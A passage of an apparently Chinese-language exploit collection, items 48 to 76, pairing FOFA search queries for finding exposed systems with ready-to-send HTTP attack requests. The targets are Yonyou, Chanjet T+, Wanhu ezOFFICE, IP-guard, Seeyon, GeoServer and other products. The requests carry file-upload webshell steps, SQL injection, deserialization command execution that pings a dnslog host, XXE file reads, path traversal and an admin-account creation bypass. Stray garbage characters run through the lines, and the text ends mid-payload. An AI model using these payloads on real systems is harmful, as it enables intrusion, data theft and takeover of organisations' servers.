Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: ]+ _9 o& v8 f6 s1 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
6 b. g4 m$ l7 F6 g, h. MAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
4 r2 s$ V* |% o3 kConnection: close

8 C0 N+ E& y) U. u" n' E  ^

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
+ G$ B. K" ]$ y4 D4 }) I: tPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
$ ^" H( H8 s2 X- L' {( `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( m; ]8 b- }$ h. j' m5 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, y8 T0 P. p2 IAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
: w7 \" `. \. H/ Q  s  @0 s( Z! I/ [, E------269520967239406871642430066855
" L' z: Z. a0 B) z4 cContent-Disposition: form-data; name="file"; filename="s.php"
1231
- ^' I( x/ a4 [  h' b6 y; ?/ K8 VContent-Type: application/octet-stream
0 v7 ~: }6 X2 j1 s------269520967239406871642430066855
' ^% z. A$ `9 K0 E- FContent-Disposition: form-data; name="upload"
upload
) a1 `/ @, z, T6 I1 `1 ]------269520967239406871642430066855--
, N* {# l( B- q5 U# K

5 ?& s$ A/ _  m" W9 J  ]49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
" F* R% @9 ~: hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ ?) i. N5 B# a8 x/ n* I. ]2 `Accept-Encoding: gzip, deflate
* T& G7 h! W3 D, h7 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 u: m" ~# m" f/ s0 b) QConnection: close
/ m+ A* a8 t" C; s9 A2 `Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
0 S( |+ z$ x2 ^4 Z/ u! v
; {. f# l' Q9 d. \4 j, P4 _: X-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
' Z' t. g2 S# F$ {1 k7 d. B: @$ _# w  d
wersqqmlumloqa
6 o4 W$ q+ j! a3 v2 X) q  }! p-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
$ t' ^7 p2 C7 U+ N. b6 N  a. H% w
upload
9 E: S' y0 D: o% B/ L* Y-----------------------------vvv3wdayqv3yppdxvn3w--
4 n3 L5 `( u: ?& z7 T6 m
6 e2 g2 {5 `* h) H. ]
http://x.x.x.x/tmpfile/updB3CB.tmp.php

0 F2 ?) H2 v1 f, j50. QDocs Smart School 6.4.1 filterRecords SQL注入
7 b, [# Q3 T3 S" CFOFA：body="close closebtnmodal"
% `- b3 s5 C  }POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
) e3 Q  u5 B& zUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
1 n& _. Y; E* K, q3 `  P" i' BAccept-Encoding: gzip
* T+ J5 a5 q$ y+ O
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
. R" A+ [9 x: V) _
* F* \/ r9 c5 Z
6 K& }9 V2 z. d7 M51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
: d8 X' r3 {# u9 zGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
5 U' M. V) X, P4 [' L, aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 k- |( y; L) k4 b* Q/ q* n- OConnection: close


- Q4 M/ `, X. T* f* j52. 泛微E-Office json_common.php sql注入
, d* D6 }, @2 c: i1 l% O* r. \FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
+ F3 Z$ n( a" u; kHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* C" d/ p" Z* U+ O0 z0 NConnection: close
Content-Length: 87
* l7 J( Z+ W9 B2 E, R6 k1 WAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
1 |/ _9 ^! K4 O* kAccept-Encoding: gzip
$ u5 ]- z( b3 f& [2 {$ m% Z% E: l
  L' E8 R! h, r' j7 l0 ftfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
$ ]8 \6 i7 m7 Z3 c( L: ^: q; w
6 M1 F+ s  J' W+ j& N: e' a( }
# f$ u4 S3 g( w8 ?6 M53. 迪普 DPTech VPN Service 任意文件上传
& ?* M( t2 {7 |+ C8 [2 bFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

2 U; X! X0 |: }; }
- z4 g" N3 Q/ D( i: m54. 畅捷通T+ getstorewarehousebystore 远程代码执行
) ?$ l) {1 o9 `5 a/ [$ pFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
- m; q0 [( Y5 a$ B8 `/ A

完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
6 p0 z2 ~. K8 E& Y3 oUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
6 S7 R$ Z0 l$ f- z4 z% IContent-Length: 593
$ ]1 r1 Y0 @. P! K
{
"storeID":{
% \6 ~6 w& {9 H1 ~ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8 o/ [2 Q- [! \8 r% R4 F/ G "MethodName":"Start",
8 G+ Z) y0 s: c0 N  "ObjectInstance":{
& c/ q) U  A. p, @' R& W   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( O( l/ x9 t: y; ~* U    "StartInfo":{
/ o* t' B5 I+ L2 T8 \   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
6 e% y) ^' y; d$ h) X3 J7 U0 I7 r    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
5 c( j) R! h) L' O; m7 c  }
0 E0 S! \+ T- a9 I9 `5 j  }
}
# W- o4 T* J9 f8 t; v2 C

/ x7 b) g! p9 b; v, A/ m第二步，访问如下url
" n: a2 d" P( H$ Y: g1 c/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
+ l1 Q6 b. L; ?9 h% p
) G- F& H: w3 Y) p5 m+ ^5 y9 r. B2 Y
4 @, @7 I$ T& b1 e1 v. }55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
% n( R3 S* ~0 P% O& ^8 y$ W  B/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
( w  i6 }/ W5 N5 O/ F3 `$ x第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
8 T9 N- J6 n- u5 ^, fFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
! y' Z" B4 n, @  U2 S) H' q8 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
3 |& Q. y0 H/ h" h7 V+ ?  "storeID":{
4 T# Y2 J1 V8 g: b" W" w0 `    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 O" D5 h6 p- d5 T( r/ W6 M. T' R   "MethodName":"Start",
    "ObjectInstance":{
  k) E8 k# C5 {8 N* Y0 [2 A- B       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) t& n" L8 [% i  h        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- V7 Z+ S- J8 Z           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
$ X+ F! l; \. D8 _" B# f% s}
: _+ Q2 Z0 D' r5 p
* U% W  m) n) v' o0 z
! z1 n; M7 C. E/ c% Y57. 畅捷通T+ keyEdit.aspx SQL注入
1 C2 s' k9 S- R- T5 J" ^. @, pFOFA：app="畅捷通-TPlus"
. o/ M- N. \) k  W' X6 k  G8 u1 pGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
6 w' L& C* R2 h& b# YHost: host
2 s8 B2 Z2 R5 d- P5 o3 d4 K7 BUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
9 j3 |" V# x, ~, w$ bAccept-Encoding: gzip, deflate
Connection: close

6 z! O3 C6 X6 }4 V: n* y
58. 畅捷通T+ KeyInfoList.aspx sql注入
; ~! G( L# J: t/ r0 ^FOFA：app="畅捷通-TPlus"
9 Z; V/ X; _; k. W) b: NGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
3 _2 n9 `7 K2 F6 j" {Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 i( N8 o9 t0 U  f. iAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
7 B, r: g+ R- M2 G0 G! wConnection: close
) O, C5 Z' j1 A" P

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
" d' N% I( l* o, h5 E) _7 }6 wUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
7 f6 q' g+ ^. |& s7 q! {Connection: close
: F3 Z; |7 f+ w8 o5 |$ [7 A" ], dContent-Length: 1669
, x2 p& e0 \1 h. R$ @1 Q* uAccept: */*
, p. @& @# |3 K, [1 b4 z( jAccept-Language: en
Content-Type: application/x-www-form-urlencoded
* ]# u* \8 Q, b4 ?' OAccept-Encoding: gzip
7 R7 y, `8 Z# x8 ^2 w
. t: Q: j0 Y# P8 f# PPAYLOAD


1 c# M) s. g. ?# _" l60. 百卓Smart管理平台 importexport.php SQL注入
! s9 M' V" H  s) r; ZFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
( s! k: w7 a# k$ CHost:
: K8 R1 K$ O$ l3 v5 ?8 E" s5 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 t6 S$ i/ h9 p; R* b* \8 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ N8 @6 ?6 Z% ^& h: h, f' I8 uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# g; l. n/ ^: _! k8 O! j6 [( L

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
9 N" h. ]- D8 F6 C; ]Accept: */*
2 n4 H3 e* T# Z8 D) NAccept-Encoding: gzip, deflate
Accept-Language: en
, q) S  B0 B8 W: |0 gContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa

: r& p* w2 v1 a, [4 X
1 P7 |: ]6 V% ?7 w, v- s5 ~& _% \2 z62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
9 l  [, ]/ e* P  K0 \( YHost: x.x.x.x
; `; X/ ?' a1 l: Z) _User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
8 ~3 _1 g, z5 S) o# V" A+ b5 AConnection: close
Accept: */*
Accept-Language: en
0 a% @3 c' h* s9 w( @6 _Accept-Encoding: gzip
) i% R# d# z7 R# @3 G

% A& p! ^/ Y* Z0 q  E访问
9 f$ b* K; B# f
8 Y- K% m; ^8 [' G& oGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 F( k7 J1 M+ R$ y+ w. Z' n+ A/ BHost: x.x.x.x

1 h4 g! W7 ~8 J# |% D+ c
* N! u4 @1 m  b8 p" t) W63. IP-guard WebServer任意文件读取
9 l5 @7 C8 p9 }5 FIP-guard < 4.82.0609.0
0 H5 w: l5 ~2 c: p5 ?8 N" ZFOFA：icon_hash="2030860561"
" q' i3 p, D- o$ ?POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
) b% e7 Z. P9 [6 b; Z& OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
: B# M: S% r( Y9 N9 ?. H9 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) {/ [3 _! f8 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
7 E/ P) _) L% C7 |0 u" t
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
/ d  A% h( b; ]6 MFOFA：body="/Scripts/EnjoyMsg.js"
2 x6 t& r6 ?# O& }; W1 F. tPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
4 a- H! ^- s1 l1 T& E  DContent-Length: 369
+ }. W2 i" Q. W- J, i/ V' `5 CAccept: */*
4 ?! h9 J4 H% x' m- ]- OAccept-Language: en
Content-Type: text/xml; charset=utf-8
8 }3 h. U9 Q' F3 I5 q8 o; sAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
, k0 O5 ]% L, S+ [+ l<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
1 w: W6 e2 Q7 v7 }0 z5 q" q: x' Q* Y& i1 O      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
" V" W9 F  |- u, {" K* a/ S# _0 |  </soap:Body>
</soap:Envelope>
4 j" J2 I8 F9 R" q

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
: r3 c7 U# V8 NFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
% n  N# e# L  Z. ?响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
5 z# d, }, m8 y. cHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
+ p$ }$ X2 F" H- g+ q5 }) FAccept-Encoding: gzip, deflate
8 w) d- d7 f& }% _6 _Accept: */*
  O! a; }( }+ pConnection: close
. n2 c3 D/ Q; I4 X' S9 gAccept-Language: en
Content-Length: 174
5 D8 M8 K' K8 }& _+ I( f0 O: e+ C
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
/ r/ C; n3 ^: N; [7 ^" v, U8 O
1 H9 `/ t) Z3 q0 a
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
: l% v* G+ M) E! P# m) G5 UFOFA：app="万户ezOFFICE协同管理平台"
7 n$ ^+ ^6 M3 j7 `* U) T' W8 }
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
. |7 S7 K% ~$ P% O( wConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


8 k& g6 o% Z  C5 w3 f9 a第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
6 Q5 ^$ ~. q: A; W7 b2 @- MFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
0 S: Q! k6 m, {# |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ r- f9 s8 U5 ]$ ^: n; S; w: TAccept-Encoding: gzip, deflate
" l- D8 C% z, h" j) R3 VAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
, m' v6 w* R8 m, M) bContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
3 W( v  ]) P; B& a. f6 S; I3 LDNT: 1
Upgrade-Insecure-Requests: 1
: K, Y! i& _- l, b2 m/ C
7 v5 C" k' S$ s--ufuadpxathqvxfqnuyuqaozvseiueerp
1 X5 L' ^: ?. m' DContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

+ F2 o* }9 w2 m$ {<% out.print("sasdfghjkj");%>
* f9 ]4 z& E1 e: L2 c--ufuadpxathqvxfqnuyuqaozvseiueerp--
! J$ Z" Y$ x* X: v) M
( G8 }1 C4 _% @, z. a/ i
+ a9 t- h/ s4 w) }文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
9 q. V) ?8 K% oFOFA：app="万户ezOFFICE协同管理平台"
1 l8 M) {  N, a3 M4 {" lGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
. E0 Z; I0 ?$ y- o0 o0 {' I6 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& ?. e. d8 X4 o9 O" Z. h1 nConnection: close
! |" \7 i) d& U9 |+ N

69. 万户 ezOFFICE contract_gd.jsp SQL注入
1 n, ?; D' v- @; g7 M# {, kFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
, C5 U0 e$ h2 C' X' F/ PHost: your-ip
4 ]( k' I5 \. M# C- F7 [  \  yUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) i/ D+ F$ Z6 A% [) QAccept-Encoding: gzip, deflate
; A* _$ K% n  g3 aAccept: */*
Connection: keep-alive


70. 万户ezEIP success 命令执行
1 s9 {$ Q$ H0 d# ?& _5 xFOFA：app="万户网络-ezEIP"
1 X1 F% {; q+ a+ v4 vPOST /member/success.aspx HTTP/1.1
/ v; V; [9 k; t9 M7 u: gHost: {{Hostname}}
8 ]+ y/ f8 {; ?6 J  k" x" `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. h, c5 i( I' V) PSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

# |4 V1 Q8 V3 }% V, f__VIEWSTATE=PAYLOAD
9 o0 G- {( c! ^

2 @7 i# x5 r9 }. X. t% z. d6 ?71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
4 l8 {/ T1 U0 w# X0 f' C+ jUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
4 X; F" j. ~1 ?4 B( VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
; I! S6 O/ ^# ^6 _1 _2 u; G( mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
, M% p9 p4 @9 g8 U2 e

72. 致远OA getAjaxDataServlet XXE
/ {8 x4 D& j, z- L, NFOFA：app="致远互联-OA"
4 Y, }6 X7 l" i: n  NPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
( h( W, Z$ s8 q: LUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
) L; R. t, _$ T: g* \Connection: close
1 t; ~& q! |8 f, I+ e. O5 eContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


( Y; [4 Z9 n6 E1 ^% P# a# h73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
) I& F% J' Y1 ZPOST /geoserver/wms HTTP/1.1
8 `" U, w5 C: e8 B. J& [. K$ DHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
% b- y" N. E3 E4 d" ?) p  R7 P
PAYLOAD
& _: n5 b, ]  z5 K0 t- `
; ?3 J6 n8 Z, U: Y4 U! n* G
74. 致远M3-server 6_1sp1 反序列化RCE
/ I2 |( }) }* W. r3 Q9 rFOFA：title="M3-Server"
5 V; D+ o9 A. R8 t- t: N0 {PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
( }9 ?; W& L( i" z( x' {( HGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 _. C  z- N% gConnection: close
Accept: */*
+ `2 N. [- ?0 F  O0 F  V, I' ?Accept-Language: en
$ l! G9 }$ S" A! a: t2 K. BAccept-Encoding: gzip

0 p- I/ G0 f( A9 L) m
3 G1 v' T* X+ ~GET /cgi-bin/test28256.txt HTTP/1.1
  E: {* l# Z, {* ^* X; ^Host: x.x.x.x
3 Q! {$ }7 o( y# P
$ z6 p& _  j/ S- {1 A  D& [. K
76. 新开普掌上校园服务管理平台service.action远程命令执行
. U; B0 |+ {- y( N, K- b+ W# I4 aFOFA：title="掌上校园服务管理平台"
$ g4 [5 _) b* T4 z1 f5 rPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
# V! }% P& |; N2 O9 w, SUpgrade-Insecure-Requests: 1
4 E8 e9 f' [% [" C, k3 h
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
